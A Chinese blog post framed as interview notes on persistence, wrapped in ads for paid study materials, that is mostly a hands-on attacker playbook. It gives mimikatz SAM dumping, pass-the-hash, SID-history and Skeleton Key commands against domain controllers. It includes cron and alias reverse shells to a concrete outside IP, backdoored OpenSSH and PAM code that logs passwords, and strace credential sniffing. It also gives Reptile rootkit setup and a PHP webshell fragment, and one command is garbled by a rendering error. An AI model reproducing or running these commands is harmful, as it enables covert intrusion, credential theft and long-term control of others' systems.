权限维持小结,网络安全面试基础知识

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

token::elevate
lsadump::sam

2.dsrm&krbtgt&NTLM hash同步
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil

3.修改dsrm登录方式
New-ItemProperty “hklm:\system\currentcontrolset\control\lsa” -name “dsrmadminlogonbehavior”-value 2-propertyType DWORD

4.利用PTH传递攻击
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
dir \owa2010cn-god\c$

技术总结:
利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统>=windowsserver2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

11.基于用户属性修改-SID history

1、获取某用户SID属性:
Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory
2、给予某用户administrator属性:
privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator
3、测评给与前后的DC访问权限:
dir\192.168.3.21\c$
技术总结:
把域控管理员的SID加入到 其他某个恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。

12.基于登录进程劫持-Skeleton Key

1、测试域内某个用户与DC通讯
dir \owa2010cn-god\c$
2、连接DC后,DC注入lsass进程
net use \192.168.3.21\ipcKaTeX parse error: Undefined control sequence: \administrator at position 25: …2345" /user:god\̲a̲d̲m̲i̲n̲i̲s̲t̲r̲a̲t̲o̲r̲ ̲ ̲ ̲ ̲mimikatz pri… “mimikatz” /user:god\administrator
dir \owa2010cn-god\c$
技术总结:
注入万能密码,因为Skeleton Key技术是被注入到lsass.exe进程的,所以它只存在内存中,如域控重启,万能密码将失效。

linux

1.定时任务

利用系统的定时任务功能进行反弹 Shell

1、编辑后门反弹
vim /etc/.xiaodi.sh
#!/bin/bash
bash -i >& /dev/tcp/47.94.236.117/3333 0>&1
chmod +x /etc/.xiaodi.sh
2、添加定时任务
echo “*/1 * * * * root /etc/.xiaodi.sh” >> /etc/crontab

2.ssh软链接&公私钥&新帐号

1、SSH软链接
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录

查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config | grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
ssh root@xx.xx.xx.xx -p8888  任意密码登录即可

2、公私钥
https://www.bilibili.com/read/cv17721345/
开启:vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized

生成公私钥
keysssh-keygen -t rsa#三次回车
cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

3、后门帐号
添加root用户:
添加账号test1,设置uid为0,密码为123456
useradd -p openssl passwd -1 -salt 'salt' 123456 test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1

增加超级用户账号
echo “xiaodi❌0:0:😕:/bin/sh”>>/etc/passwd
passwd xiaodi #修改密码为xiaodi123

3.OpenSSH 后门

原理:替换本身操作系统的 openssh,重新安装自定义的 openssh,达到记录帐号密码,也可以采用万能密码连接的功能!
文章中有处理配置文件和安装日志的方法
https://www.cnblogs.com/csnd/p/11807653.html
https://mp.weixin.qq.com/s/BNrJHUs9qxEVHNSFEghaRw
1、环境准备:
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
2、编辑密码:
vim version.h #把版本修改为原来版本
vim includes.h
177 #define ILOG “/tmp/ilog” #ILOG 是别人用 ssh 登录该主机记录的日志目录
178 #define OLOG “/tmp/olog” #OLOG 是该主机用 ssh 登录其他主机记录的日志目录
179 #define SECRETPW “xiaodi” #万能密码
180 #endif /* INCLUDES_H */
3、安装编译:
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam –
with-kerberos5 && make && make install
service sshd restart #重启 sshd 服务
systemctl status sshd.service #查看 ssh 启动状态
拓展玩法:
1、可以采用万能密码登录
2、实现监控服务器登录登出的账号密码(发到外网)

4.ssh-PAM 后门

参考:https://xz.aliyun.com/t/7902
PAM 是一种认证模块,PAM 可以作为 Linux 登录验证和各类基础服务的认证,简单来说就是一种用于 Linux 系统上的用户身份验证的机制。进行认证时首先确定是什么服务然后加载相应的 PAM 的配置文件(位于/etc/pam.d),最后调用认证文件(于/lib/security)进行安全认证.简易利用的 PAM 后门也是通过修改 PAM 源码中认证的逻辑来达到权限维持
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、1解压缩,修改pam unix auth.c文件,添加万能密码
3、编译安装PAM
编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即 使用万能密码登陆,将用户名密码记录到文件中。
-配置环境
关闭selinux setenforce 0
查询版本rpm -qa | grep pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8
yum install gcc flexflex-devel -y
-修改配置:
留PAM后门和保存SSH登录的账号密码
修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

/*verify the password of this user */
retval=_unix_verify_password(pamh,name,p,ctrl);
if(strcmp("hackers",p)==0){return PAM SUCCESS;} //后门密码
	if(retval==PAM_SUCCESS)
		FILE * fp;
		fp = fopen("/tmp/.sshlog","a");//SSH登录用户密码保存位置
		fprintf(fp,"%s :%s\n",name,p);
		fclose(fp);}
name =p=NULL;

AUTH RETURN;

-编译安装:
./configure && make
-备份复制:
备份厡有pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security/目录下
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so

5.Strace 后门

strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。
我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
获取账号密码,权限维持

1、记录 sshd 明文

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

2、记录 sshd 私钥

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log

6.Alias 后门

alias 命令的功能:为命令设置别名
定义:alias ls = ‘ls -al’
删除:unalias ls
1、简单:
alias ls=‘alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts’
2、升级:
alias ls=‘alerts(){ ls $*–color=auto;python3 -c “import base64,sys;exec(base64.b64decode({2:str,3:lambdab:bytes(b,”’‘UTF-8’‘’)}sys.version_info[0]))‘’;};alerts’

7.内核加载LKM-Rootkit后门

现在常用的inux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf或者其它的tcp连接来反弹shell,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
https://github.com/f0rbldd3n/Reptile/releases
自动化脚本搭建

Centos,Ubuntu
$kernel=`uname`
#Centos
yum -y install perl vim gcc make g++ unzip
#由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x./setup.sh
./setup.sh install<<EOF
reptile
hax0r
s3cr3t
reptile
666
47.94.236.117
4444
1
EOF

#ubuntu
apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/&& chmod +x./setup.sh
./setup.sh install <<EOFreptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF

隐藏进程:/reptile/reptile_cmd hide xx
显示进程:/reptile/reptile_cmd show xx
ps -ef | grep 2792
/reptile/reptile cmd hide 2792

隐藏连接:/reptile/reptile_cmd udp xx xx hide
显示连接:/reptile/reptile_cmd tcp xx xx show
netstat -anpt
/reptile/reptile_cmd tcp 100.100.45.106 443 hide

隐藏文件:
文件名中带reptile的都会被隐藏
mkdir reptile_xiaodi
mkdir reptile_file

2、高级玩法
隐藏上线
客户端安装
./setup.sh client
设置连接配置
help
show #查看配置
set LHOST 47.94.236.117
set LPORT 4444
set SRCHOST 47.94.236.117
set SRCPORT 666 #安装时填好的两个端口
set RHOST 121.43.154.113
set RPORT 22 #netstat -anpt找一个开放的端口
set PROT tcp
set PASS s3cr3t
set TOKEN hax0r

rookit检测项目
rookit魔改避免检测项目

8.SSH Config 后门

SSH Config 后门 | Linux 后门系列 (qq.com)")

ssh 客户端配置文件加载顺序
命令行参数 > ~/.ssh/config > /etc/ssh/ssh_config

LocalCommand
ProxyCommand
修改这两个参数实现主机使用ssh连接其他主机就上线

webshell内存马

Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器
的一类木马,其利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难
度。

#PHP 内存马:
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为 True,则忽略与用户的断开)
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents 函数:将一个字符串写入该文件中
usleep 函数:延迟执行当前脚本数微秒,即条件竞争

<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.HH.php';
$code = '<?php @eval($_POST[\'c\']); ?>';
while (1){


## 写在最后

**在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**


需要完整版PDF学习资源私我





**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/7dc12833660a256b04eda9c8ae1da29a.png)

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**


需要完整版PDF学习资源私我





**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-YjJeKduN-1713253253509)]

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值